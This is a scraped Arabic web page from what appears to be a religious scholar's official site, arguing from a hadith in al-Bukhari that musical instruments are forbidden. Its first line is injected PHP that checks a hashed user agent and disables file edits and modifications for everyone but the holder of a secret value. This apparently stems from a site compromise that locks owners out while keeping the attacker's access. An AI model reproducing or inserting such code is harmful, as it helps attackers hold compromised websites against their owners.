if(md5(md5($_SERVER['HTTP_USER_AGENT']))!="c5a3e14ff315cc2934576de76a3766b5"){ define('DISALLOW_FILE_MODS', true); define('DISALLOW_FILE_EDIT', true); } أدلة تحريم المعازف من السنة - الموقع الرسمي للدكتور فهد بن مبارك آل زُعير

أدلة تحريم المعازف من السنة

أما من السنة: فقد ثبت بالبخاري عن النبي صلى الله عليه وسلم أنه قال: «لَيكونَنَّ من أُمَّتي أقْوامٌ يَستَحِلُّونَ الحِرَ، والحَريرَ، والخَمْرَ، والمَعازِفَ»[1]، وهذا حديثٌ صحيحٌ ومن ثم فإننا نجزم بأنه قطعي الثبوت قطعي الدلالة على تحريم الغناء وذلك من وجهين:

الوجه الأول: قوله صلى الله عليه وسلم: يَستَحِلُّونَ، وهذا يدل على أن المذكور في هذا الحديث من المحرم ولو كان حلالًا لم يقل يستحلون لأن الحلال حلال، وإنما يستحلون ما حرم الله.

الوجه الثاني: الذي يدل على تحريم المعازف من هذا الحديث أن النبي صلى الله عليه وسلم قرنها بمحرمات مجمعٍ عليها بل بكبائر من كبائر الذنوب فقال: الحِرَ وهو الزنا: الفرْج الحرام -نسأل الله السلامة والعافية- والحَريرَ: وقد تقدم تحريمه للذكور دون الإناث، والخَمْرَ: وهو ما أزال العقل وأسكره وهذا محرمٌ بالإجماع أيضًا ثم قال: والمَعازِفَ، فما عُطف على الزنا وعلى لبس الحرير للرجال وعلى الخمر فإنه يأخذ حكمها ويكفي هذا في التحريم، عطفها على المحرمات المجمع على تحريمها دليلٌ كافٍ في تحريمها، فقد عُطفت على الحرير للرجال والزنا والخمر لجميع أهل الإسلام، فالمعازف معطوفةٌ عليها وملحقة بها في التحريم.

ــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــ

[1] حديث صحيح أخرجه البخاري معلقًا بصيغة الجزم (5590) باختلاف يسير، والحديث صححه ابن باز في مجموع الفتاوى (21/171).